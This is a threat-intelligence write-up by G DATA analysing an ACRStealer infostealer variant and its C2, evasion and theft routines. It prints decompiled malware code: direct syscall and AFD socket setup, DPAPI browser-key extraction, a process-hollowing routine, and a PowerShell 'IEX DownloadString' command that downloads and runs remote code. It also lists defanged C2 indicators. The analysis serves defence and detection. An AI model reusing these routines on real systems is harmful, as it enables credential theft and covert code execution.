Endgame Harvesting: Inside ACRStealer’s Modern Infrastructure

By G DATA Security Center

Published: 2026-03-12 · Archived: 2026-04-05 23:03:19 UTC

03/12/2026

Reading time: 9 min (2319 words)

The vector is deceptive. The Loader is sophisticated and at this point, it’s already game over.

Written by John Dador

From our previous article of HijackLoader, the observed payload is a rebranded ACRStealer initially reported by Proofpoint in the early half of last year. This updated variant follows similar evasion techniques and C2 initialization strategy to make it even stealthier. Since ACRStealer is known as a Malware as a Service (MaaS), it makes sense that it is now being used as one of the many payloads used by HijackLoader. This signifies that ACRStealer is not just a repurpose malware, but a continuously refined and rebranded module actively deployed through intricate loaders. This integration with HijackLoader highlights ACRStealer’s versality and modularity, which will likely attract more malicious actors to use it as a final payload.

For this part, we will highlight ACRStealer’s evasion techniques, C2 communication and notably its stealing capabilities, where our focus on the latter provides new insights.

NTCalls and WoW64 SysCalls

Interestingly, this version of ACRStealer uses dynamic API resolution through NTDLL and WoW64 syscalls, as initially reported by Proofpoint. Most malware families typically rely on higher-level Win32 APIs to directly perform evasion or execution, which are easily detected and monitored by security products such as EDRs. By using low-level syscalls, this ACRStealer variant can bypass user-mode hooks and reduce its detectability.

The new variant ‘s behavior starts by accessing the Process Environment Block (PEB) to locate the ntdll.dll. It then manually parses the Export Address Table (EAT) to resolve the function names which are done via a modified version of djb2 also used in HijackLoader but with a different seed. After lookup, it saves the corresponding address and System Service Number (SSN) of the function and stores it to a global variable. Lastly, in order to execute the system call, it makes use of the Wow64 transition gate, bypassing the Win32 API layer and user-mode hooks.

```
v8 = NtCurrentPeb();
if ( !v8 || !v8->Ldr )
  return 0;
v6 = (int)&v8->Ldr->InMemoryOrderModuleList.Flink->Flink[-1];
v7 = 0;
if ( !GetExportDirectoryFromModule(*(_DWORD *)(v6 + 24), &v7) || !v7 )// checks MZ and PE, returns IMAGE_EXPORT_DIRECTORY
  return 0;
v3 = 0;
v5 = 0;
v4 = customDJB2Hashing(a1);
if ( !ResolveSyscallStubByHash(*(_DWORD *)(v6 + 24), v7, &v3) )// extracts syscall ID
  return 0;
SetCurrentSyscallId((unsigned __int16)v5);    // Stores Syscall number globally
return ExecuteDirectSyscall(a2, v3, v4, v5, ExecuteDirectSyscall, v6);// calls fs:[0xC0]
}
```

Figure 1: Dynamic API Resolution

AFD and NTSockets

Early versions of ACRStealer leveraged the use of Dead Drop Resolver (DDR) to obfuscate C2 communication. This version however uses NTSockets and Ancillary Function Driver (AFD) to establish a C2 connection without using the Winsock or any high-level APIs.

The code starts by manually constructing the string \\Device\\Afd\\Endpoint\\, which represents the AFD's native path object. Then it builds an OBJECT_ATTRIBUTE structure along with a UNICODE_STRING structure. Together, these structures describe the target object to the Windows Object Manager. With this setup, the code invokes NtCreateFile allowing it to resolve and open the AFD Endpoint from user mode and instead of going through the Win32 API layer, again evading detection.

```
endpoint_name = L"Endpoint";
                    /* devicePrefixLen = wcslen(L"\\Device\\") */
for (device_prefix_len = 0; L"\\Device\\"[device_prefix_len] != L'\0';
    device_prefix_len = device_prefix_len + 1) {
}
                    /* afdPrefixLen = wcslen(L"Afd\\") */
for (; L"Afd\\"[afd_prefix_len] != L'\0'; afd_prefix_len = afd_prefix_len + 1) {
}
                    /* endpointNameLen = wcslen(L"Endpoint") */
for (; L"Endpoint"[endpoint_name_len] != L'\0'; endpoint_name_len = endpoint_name_len + 1) {
}
local_3c = afd_endpoint;
                    /* Copy device prefix into afdDevicePath */
for (i = 0; i < device_prefix_len; i = i + 1) {
  afdDevicePath[i] = device_prefix[i];
}
                    /* Copy AFD prefix into afdDevicePath */
for (j = 0; j < afd_prefix_len; j = j + 1) {
  afdDevicePath[device_prefix_len + j] = afd_prefix[j];
}
                    /* Copy endpoint name into afdDevicePath */
for (k = 0; k < endpoint_name_len; k = k + 1) {
  afdDevicePath[device_prefix_len + afd_prefix_len + k] = endpoint_name[k];
}
                    /* "\\Device\\Afd\\Endpoint" */
afdDevicePath[device_prefix_len + afd_prefix_len + endpoint_name_len] = L'\0';
afdDeviceName.Buffer = afdDevicePath;
afdDeviceName.Length =
     ((short)device_prefix_len + (short)afd_prefix_len + (short)endpoint_name_len) * 2;
afdDeviceName.MaximumLength = afdDeviceName.Length + 2;
objAttrs.Length = 0x18;
objAttrs.RootDirectory = 0;
objAttrs.Attributes = 0x40;
objAttrs.ObjectName = &afdDeviceName.Length;
objAttrs.SecurityDescriptor = 0;
objAttrs.SecurityQualityOfService = 0;
memset(AfdOpenPacket_buffer,0,0x39);
```

Figure 2: Building AFD Endpoint with Object_Attribute Struct

Next, the function constructs deliberately crafted strings. The first resulting string is AfdOpenPacketXX. Alongside this crafted string, it also defines protocol-related values (2, 1, 6) which corresponds to AF_INET, SOCKSTREAM and IPPROTO_TCP indicating that it is preparing a TCP IPv4 socket without importing ws2_32.socket. It then dynamically builds another string NTCreateFile, by concatenating string values. The function passes this string to the custom function resolver mentioned earlier and uses the Wow64 transition gate to invoke the native system call directly.

```
                    /* AFDOpenPacketXX */
A = 0x41;
f = 0x66;
d = 100;
O = 0x4f;
p = 0x70;
e = 0x65;
n = 0x6e;
P = 0x50;
a = 0x61;
c = 99;
K = 0x6b;
E = 0x65;
T = 0x74;
X = 0x58;
x = 0x58;
                    /* socket function (winsock2.h) */
AF_INET = 2;
SOCK_STREAM = 1;
IPPROTO_TCP = 6;
uStack_58 = 0x60;
uStack_57 = 0xef;
uStack_56 = 0x3d;
uStack_55 = 0x47;
uStack_54 = 0xfe;
                    /* Prepares "NTCreateFile" String */
string_Nt[0] = 'N';
string_Nt[1] = 0x74;
string_Nt[2] = 0;
builtin_strncpy(string_Create,"Create",7);
builtin_strncpy(string_File,"File",5);
"NTCreate" = concat_string(string_Nt,string_Create);
"NTCreateFile" = (byte *)concat_string("NTCreate",string_File);
if ("NTCreate" != (char *)0x0) {
  calls_NtFreeVirtualMemory((uint)"NTCreate");
}
```

Figure 3: Building AFDOpenPacketXX with TCP Ipv4 socket

Layered Communication

Another key aspect of this version is how it implemented a layered communication design: it first establishes a raw TCP connection, then performs SSL/TLS over that connection through SSPI.

After preparing the AFD endpoint handle, it manually parses the target IP address in this case is **157[.]180[.]40[.]106** and converts it to a network byte order together with **port 443**. It then configures the remote C2 endpoint via native AFD IOCTLS using NtDeviceIoControlFile which is an equivalent of connect() in WinSock. This suggests that it wants to blend in with the normal HTTPS traffic while using AFD. At this stage, it already established a plain TCP connection. During analysis, the IP address **157[.]180[.]40[.]106** was no longer responsive and might already be down thus it immediately terminates the endpoint.

However, if the IP address was still up, the sample would start to do a TLS Handshake over the established TCP connection. This TLS handshake happens with the use of SSPI through **AcquireCredentialsHandleA** which uses Microsoft Unified Security Protocol Provider and is followed by a call to **InitializeSecurityContextA** with a hardcoded **pszTargetName** in playtogga[.]com. This is looped in a statement where it checks a code **0x90312** which translates to the SSPI status code of **SEC_I_CONTINUE_NEEDED**. That indicates that additional handshake tokens must be exchanged before TLS session is fully established.

Post-Handshake Transmission: Plaintext vs TLS

Once the handshake is completed, the code exits and frees the temporary buffers. It prepares the HTTP request before evaluating the transmission mode. One of eight HTTP methods (GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH) is used in this function where the POST method is the default. The resulting header is exactly as follows **“POST / HTTP/1.1\r\nHost: playtogga[.]com\r\nConnection: close\r\nContent-Length: 48\r\nContent-Type: application/octet-stream\r\n\r\n”**.

After building the HTTP request header, it checks a configuration flag to determine whether the data will be sent in a plaintext or TLS wrapped data. If the flag is configured as 0, it will send the constructed HTTP request over the established TCP connection via AFD. It's like a single shot HTTP request commonly used for beaconing. Otherwise, it will start to encrypt the HTTP request header using the **EncryptMessage** API before sending. Based on the status code (200), it either decrypts the data from the server using AES-256 with a hardcoded 32-byte key or executes a Sleep command for two seconds before entering a recovery routine where it tries to initiate a re-connection.

Loot, Sleep and Repeat

This section reveals ACRStealer’s range of data stealing functions. Apart from the unique methods used to steal sensitive browser information, the analysis also confirms that this variant deliberately targets gamers shown through exfiltration of Steam account data, something that has not been encountered and studied before.

The stealing features of ACRStealer are all based on eight short string config keys each associated with a type value (integer, array, bolean, string). These config keys are passed as an argument which will define what task the code will execute. The function that we labeled as **GetArrayField** (Figure 4) returns the array values stored under a given config key which will be used later on by task handling functions starting from **0x4126D0** to determine which files and directories to target.

```
v28 = result;
if ( result )
{
  InvokeNtDelayExecution(200, 0);
  v18 = GetArrayField(v28, "sW");
  v15 = GetArrayField(v28, "sM");
  v14 = GetArrayField(v28, "sO");
  v16 = GetArrayField(v28, "exP");
  v17 = GetArrayField(v28, "exW");
  v26 = GetArrayField(v28, "b");
  v11 = GetArrayField(v28, "ld");
  v10 = GetArrayField(v28, "g");
  sub_4126D0(v18, 1);
  InvokeNtDelayExecution(400, 0);
  sub_412290(v26, v17, 1);
  InvokeNtDelayExecution(600, 0);
  sub_402340(v26);
  sub_403DA0(v9);
  InvokeNtDelayExecution(200, 0);
  sub_4039A0(v9);
  InvokeNtDelayExecution(400, 0);
  sub_409190();
  InvokeNtDelayExecution(200, 0);
  sub_412290(v26, v16, 0);
  InvokeNtDelayExecution(200, 0);
  sub_40FC30();
  InvokeNtDelayExecution(400, 0);
  sub_4126D0(v15, 0);
  InvokeNtDelayExecution(200, 0);
  sub_4126D0(v14, 0);
  InvokeNtDelayExecution(600, 0);
  sub_403A90(v9);
```

Figure 4: The 8 short string config keys and the series of stealing functions

The very start of each stealing function is presented like this [Figure 5]. It checks if the config key value is indeed an array (type 4). It then iterates over each element of the array to confirm that each is an object (type 5) holding dictionary-like keys such as (p, tp, n, f, r). These dictionary keys are then used to retrieve the task's parameters on what we assume to be name (n), target path (tp), argument (a), files (f) and recursive flag (r).

```
// 4 = array
if ( !sW_config || *sW_config != 4 )
  return 0;
previousExecutionFlag = byte_41AFBD;          // byte_41AFBD = 0
byte_41AFBD = NewExecutionFlag;               // NewExecutionFlag = 1
for ( i = 0; i < sW_config[2]; ++i )
{
  taskObject = *(_DWORD **)(sW_config[1] + 4 * i);
  if ( taskObject )
  {
    if ( *taskObject == 5 )
    {
      v16 = GetIntField(taskObject, "p");
      v17 = (char *)GetStringField(taskObject, "tp", 0);// taget_path
      v26 = GetIntField(taskObject, "n");     // name
      v11 = GetIntField(taskObject, "a");     // argument
      if ( v16 )
      {
        if ( v17 )
        {
          if ( v26 )
          {
            v20 = GetArrayField((int)taskObject, (int)"f");// files
            if ( v20 )
            {
              if ( *v20 == 4 )
              {
                v31 = GetBooleanField(taskObject, "r", 0) != 0;// recursive_flag
                v23 = v31;
```

Figure 5: The config key checker and task parameter assignment observed at the start of most stealing functions.

Leveraging the use of NT syscalls, ACRStealer starts with the USERPROFILE and recursively searches for sensitive files using NtOpenFile and NtQueryDirectoryFile which loops until there are no more entries. Also, most of the stealing functions immediately submit the stolen data to its C2 server and are then followed by a call to NtDelayExecution before going to the next stealing function.

```
v24 = AnsiToWideAlloc(lpMultiByteStr);
if ( !v24 )
  return 0;
RtlInitUnicodeStringLike(v7, v24);
ObjectAttributes[0] = 24;
ObjectAttributes[1] = 0;
ObjectAttributes[3] = 64;
ObjectAttributes[2] = v7;
ObjectAttributes[4] = 0;
ObjectAttributes[5] = 0;
v29 = InvokeNtOpenFile((int)"NtOpenFile", (int)&v26, 1048577, (int)ObjectAttributes, (int)v6, 7, 33);
FreeMemory(v24);
if ( v29 < 0 )
  return 0;
v21 = 1024;
v30 = (_DWORD *)allocateMemory(1024);
if ( v30 )
{
  sub_406520(v9);
  v37 = 1;
  v13 = 0;
  while ( 1 )
  {
    v29 = InvokeNtQueryDirectoryFile("NtQueryDirectoryFile", v26, 0, 0, 0, v6, v30, v21, 1, 1, 0, v37);
    if ( v29 == 0x80000006 )                  // STATUS_NO_MORE_FILES
      break;
    if ( v29 < 0 )
    {
      FreeMemory((unsigned int)v30);
      InvokeNtClose("NtClose", v26);
      sub_4064D0(v9);
      return 0;
    }
```

Figure 6: File traversal through the use of NT Syscalls

The stealing functions below are executed as follows.

It first extracts the browser master encryption key by locating Local State file to retrieve the values of encrypted_key and decrypting it via Base64, stripping the DPAPI prefix and calling the API **CryptUnprotectData** which returns the raw AES master key. After obtaining the master key, it proceeds to enumerate user directories and browser profiles. This is a classic DPAPI abused to decrypt browser artifacts. The stolen data is then extracted into a txt file with the hardcoded name “d5e48e78-2951-4117-b806-e4f8e626f28c.txt“ before sending it to the C2 server.

```
if ( !outputDir || !profileDir )
  return 0;
if ( !filename || !*filename )
  filename = "localstate.key";
LocalStatePath = (LPCCH)strCat(profileDir, (int)"\\Local State");
if ( !LocalStatePath )
  return 0;
// Gets the Base64-encoded encrypted AES key
EncryptedKey = (const CHAR *)GetEncryptedKeyFromLocalState(LocalStatePath, (int)"encrypted_key");
FreeMemory((unsigned int)LocalStatePath);
if ( !EncryptedKey )
  return 0;
decryptedKeyLen = 0;
DecryptedKey = DecryptDPAPIKey(EncryptedKey, &decryptedKeyLen);
FreeMemory((unsigned int)EncryptedKey);
if ( DecryptedKey && decryptedKeyLen )
{
  fullpath = strCat(outputDir, (int)filename);
  if ( fullpath && (normalizeFullPath = normalizeSlashes(fullpath), FreeMemory(fullpath), normalizeFullPath) )
  {
    v5 = sub_4140B0(argument_task, normalizeFullPath, DecryptedKey, decryptedKeyLen);
    v12 = v5;
    FreeMemory(normalizeFullPath);
    FreeMemory(DecryptedKey);
    if ( v12 )
      sub_412CA0(v5);
    return v12;
  }
  else
  {
    FreeMemory(DecryptedKey);
    return 0;
  }
}
else
{
  if ( DecryptedKey )
    FreeMemory(DecryptedKey);
  return 0;
}
}
```

Figure 7: DPAPI abuse to acquire browser’s master key

The next stealing function performs a more advanced technique. It first enumerates browser profiles and extracts the raw AES master keys for each profile. But then it employs an App Bound Encryption bypass which is done via shellcode process injection into the target browser. This makes it clear that ACRStealer also targets Chrome versions lower than v127 before app bound encryption was introduced. The goal of the latter was to prevent stealers from using DPAPI to decrypt sensitive data. The shellcode also plays an important role here since it has no import table, it only dynamically resolves and calls CopyFileA from kernel32.dll. I also noticed a string “Elevator.exe “which strongly suggests that it copies Elevator.exe or elevation_service.exe which performs privilege operations for Chrome. Successful execution of this results in bypassing the App-Bound encryption and eventually decrypting sensitive browser information.

The next sets of stealing functions are exfiltration of Login Data, Cookies and WebData. It also does full victim fingerprinting (Machine GUID, architecture, username, locale, build time etc.) where it again writes to the same hardcoded txt file before sending it to the C2 server.

The next stealing function exfiltrates Steam credential and tokens. It retrieves information via the install path registry where it extracts the account/login token data from the configuration files (loginuser.vdf, local.vdf). It again writes into the same hardcoded txt file before sending it to the C2 server.

The next function shows the stealer‘s capability to execute multiple secondary payloads based on the assigned field configuration. In this function, the additional payloads(exe, cmd, dll and ps1) are placed into four cases. This determines what type of execution the code will perform. There are three execution methods present: two Powershell commands via **CreateProcessA** and one **process hollowing** via rundll32.exe as a host process.

```
switch ( v50 )
{
  case '1':
    v44 = strCat(v39, (int)".exe");
    break;
  case '2':
    v44 = strCat(v39, (int)".cmd");
    break;
  case '3':
    v44 = strCat(v39, (int)".dll");
    break;
  case '4':
    v44 = strCat(v39, (int)".ps1");
    break;
}
FreeMemory(v39);
```

Figure 10: Switch case function for secondary payloads

Rather than invoking rundll32.exe through its legitimate DLL export interface (rundll32.exe <dll>, <export>), the malware employs process hollowing. It first spawns rundll32.exe in a suspended state using the **CREATE_SUSPENDED** flag, injects the malicious payload, overwrites its primary thread’s instruction pointer and resumes the thread to effectively bypass the process’s original entry point.

```
int __cdecl ProcessHollowing(LPCVOID lpBuffer, SIZE_T dwSize, LPCSTR lpApplicationName)
{
  CONTEXT Context; // [esp+0h] [ebp-2F4h] BYREF
  int v5; // [esp+2CCh] [ebp-28h]
  int v6; // [esp+2D0h] [ebp-24h]
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+2D4h] [ebp-20h] BYREF
  DWORD v8; // [esp+2E4h] [ebp-10h]
  LPVOID lpBaseAddress; // [esp+2E8h] [ebp-Ch]
  HANDLE hThread; // [esp+2ECh] [ebp-8h]
  HANDLE hObject; // [esp+2F0h] [ebp-4h]

  memset(&ProcessInformation, 0, sizeof(ProcessInformation));// initialize process information struct
  if ( !call_CreateProcessA(lpApplicationName, &ProcessInformation) )// CreateProcessA with a CREATE_SUSPENDED dwCreationFlags
    return 0;
  hObject = ProcessInformation.hProcess;        // target handle
  hThread = ProcessInformation.hThread;         // thread handle
  sub_4053A0((int)&Context, 0, 716);
  Context.ContextFlags = 65543;                 // register state = CONTEXT_FULL
  if ( GetThreadContext(hThread, &Context)
    && (v6 = 12288, v5 = 64, (lpBaseAddress = VirtualAllocEx(hObject, 0, dwSize, 0x3000u, 0x40u)) != 0) )
  {
    if ( WriteProcessMemory(hObject, lpBaseAddress, lpBuffer, dwSize, 0)// writes payload into remote process memory
      && (Context.Eip = (DWORD)lpBaseAddress, SetThreadContext(hThread, &Context))// overwrites EIP
      && (v8 = ResumeThread(hThread), v8 != -1) )// execution begins at the injected payload
    {
      CloseHandle(hObject);
      CloseHandle(hThread);
      return 1;
    }
    else
    {
      VirtualFreeEx(hObject, lpBaseAddress, 0, 0x8000u);
      CloseHandle(hObject);
      CloseHandle(hThread);
      return 0;
    }
  }
  else
  {
    CloseHandle(hObject);
    CloseHandle(hThread);
```

Figure 11: Process Hollowing function

The first PowerShell command function is responsible for executing only .ps1 and .exe files. The ps1 file is executed with the arguments **“-NoProfile -ExecutionPolicy Bypass -File**. For exe files, it simply prepares the executable’s path as the command line. In both cases, the ps1 and exe file are executed via **CreateProcessA**.

```
lpCommandLine = 0;
finalCmdPart = 0;
if ( payloadType == '4' )                       // type 4 = ps1
{
  powershellExe = "powershell.exe";
  powershellArgsPrefix = "-NoProfile -ExecutionPolicy Bypass -File \"";
  tempCmdPart = strCat((int)"-NoProfile -ExecutionPolicy Bypass -File \"", (int)payloadPath);
  if ( !tempCmdPart )
    return 0;
  finalCmdPart = (_BYTE *)strCat(tempCmdPart, (int)"\"");
  FreeMemory(tempCmdPart);
  if ( !finalCmdPart )
    return 0;
  StringLength = GetStringLength((int)powershellExe);
  cmdLength = StringLength + GetStringLength((int)finalCmdPart) + 2;
  lpCommandLine = (LPSTR)allocateMemory(cmdLength);
  if ( !lpCommandLine )
  {
    FreeMemory((unsigned int)finalCmdPart);
    return 0;
  }
  CopyString(lpCommandLine, powershellExe);
  AppendString(lpCommandLine, " ");
  AppendString(lpCommandLine, finalCmdPart);
}
else
{
  if ( payloadType != '1' )                     // continue only if execution type is '1' (direct execution).
    return 0;
  v7 = GetStringLength((int)payloadPath) + 1;
  lpCommandLine = (LPSTR)allocateMemory(v7);
  if ( !lpCommandLine )
    return 0;
  CopyString(lpCommandLine, payloadPath);
}
ZeroMemoryWrapper((int)&StartupInfo, 0, 68);
memset(&ProcessInformation, 0, sizeof(ProcessInformation));
StartupInfo.cb = 68;
v6 = CreateProcessA(0, lpCommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);
```

Figure 12: The first PowerShell command

```
if ( !URL )
  return 0;
iexCommandPrefix = "-NoProfile -ExecutionPolicy Bypass -Command \"IEX (New-Object Net.WebClient).DownloadString('";
iexCommandSuffix = "')\"";
partialCommand = strCat(
                   (int)"-NoProfile -ExecutionPolicy Bypass -Command \"IEX (New-Object Net.WebClient).DownloadString('",
                   URL);
if ( !partialCommand )
  return 0;
fullIexCommand = strCat(partialCommand, (int)iexCommandSuffix);
FreeMemory(partialCommand);
if ( !fullIexCommand )
  return 0;
powershellPrefix = "powershell.exe ";
lpCommandLine = (LPSTR)strCat((int)"powershell.exe ", fullIexCommand);
FreeMemory(fullIexCommand);
if ( !lpCommandLine )
  return 0;
ZeroMemoryWrapper((int)&StartupInfo, 0, 68);
memset(&ProcessInformation, 0, sizeof(ProcessInformation));
StartupInfo.cb = 68;
StartupInfo.dwFlags = 1;
StartupInfo.wShowWindow = 0;
v4 = CreateProcessA(0, lpCommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);
FreeMemory((unsigned int)lpCommandLine);
if ( !v4 )
  return 0;
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
return 1;
```

Figure 13: The second PowerShell command

The second PowerShell command, aside from the bypass execution method, also use DownloadString which is executed via Invoke-Expression(IEX). This function only executes a type ‘4‘ which maps to a .ps1 file.

This version of ACRStealer might still be incomplete. We do not see a function that executes a .cmd file and the process hollowing is mapped to type ‘5‘ which does not properly correspond to the declared type ‘3‘ or .dll files. This might also suggest a coding error or oversight as both cmd and dll files are declared but never executed.

```
else if ( *v24 == 50 )    // type '2' but did not execute anything
{
  if ( *v38 == 52 )       // type '4' expects ps1 file
  {
    PowershellCommandIEX(IntField);
  }
  else if ( *v38 == 53 )  // 53 = '5', supposedly to run .dll?
  {
    dwSize = 0;
    lpBuffer = (LPCVOID)connectC2(v35, v37, &dwSize, v22);
    if ( lpBuffer )
    {
      GetSystemWow64DirectoryA(Buffer, 0x104u);
      lpApplicationName = (LPCSTR)strCat((int)Buffer, (int)"\\rundll32.exe");
      if ( lpApplicationName )
      {
        ProcessHollowing(lpBuffer, dwSize, lpApplicationName);
        FreeMemory((unsigned int)lpApplicationName);
      }
```

Figure 14: Supposedly function invoking CMD and DLL payloads

The last function involves recursively traversing files while skipping executable file types (exe, dll, msi, sys) likely to avoid collecting system files. It captures screenshots by dynamically resolving libraries (user32.dll & gdi32.dll) and APIs such as **GetDC, CreateCompatibleBitmap, BitBlt** via **GetProcAddress**. The captured image is then stored as “g/screen/screen.bmp“. Each stolen data is inserted into an in-memory ZIP archive where it is enforced to only have a maximum size of 40MB (0x2800000). Once complete, it will be sent to the C2 server over TCP port 443.

Patterns in Action

ACRStealer’s activity showed a very interesting operational pattern. VirusTotal telemetry indicates an active infection in countries such as USA, Mongolia and Germany. All identified samples are communicating with the same IP address **(157[.]180[.]40[.]106)** and five of the seven samples collected also establish connections to **playtogga[.]com**. Playtogga is a popular fantasy soccer platform currently headquartered at Austin, Texas. In contrast, PiviGames is the domain from which HijackLoader was downloaded, eventually dropping ACRStealer generally sees higher traffic in Spanish-speaking countries. This interaction suggests ACRStealer’s broad and diverse digital footprint possibly to mask and blend with legitimate traffic.

Within the first few days of this year 2026, the malicious URL *(hxxps://pivigames[.]blog/adbuho)* is still active but there seems to be some changes. It still follows the same script and redirection chain, but it now leads to a new cloud storage and hosting service, in this case Mega. The downloaded zip file now only contains a single executable file with no resource file or folders unlike the previously downloaded zip file. Analysis showed that the executable file, which is also named “Setup.exe”, is a variant of **LummaStealer**.

This only indicates that the threat actors in control of the PiviGames infrastructure are still continuously infecting systems. Just like in this case, they might still actively approach unsuspecting users in popular gaming platforms like Steam, Discord, Twitch, and even social media like Reddit to compromise and steal data.

IOCs

[1] FuII Verslon Setup 6419 σρєи Download.zip (sic!), archive with all files 418A1A6B08456C06F2F4CC9AD49EE7C63E642CCE1FA7984AD70FC214602B3B1
[2] ACRStealer, payload - 59202cb766c3034c308728c2e5770a0d074faa110ea981aa88f570eb402540d2 - Win32.Trojan-Stealer.ACRStealer.%M
[3] LummaStealer -f88c6e267363bf88be69e91899a35d6f054ca030e96b5d7f86915aa723fb268b - Win32.Trojan-Stealer.LummaStealer.%M
[4] 157[.]180[.]40[.]106 – ACRStealers' C2 URL - Malware
[5] playtogga[.]com – ACRStealers' C2 URL - Malware

Related articles:

Content
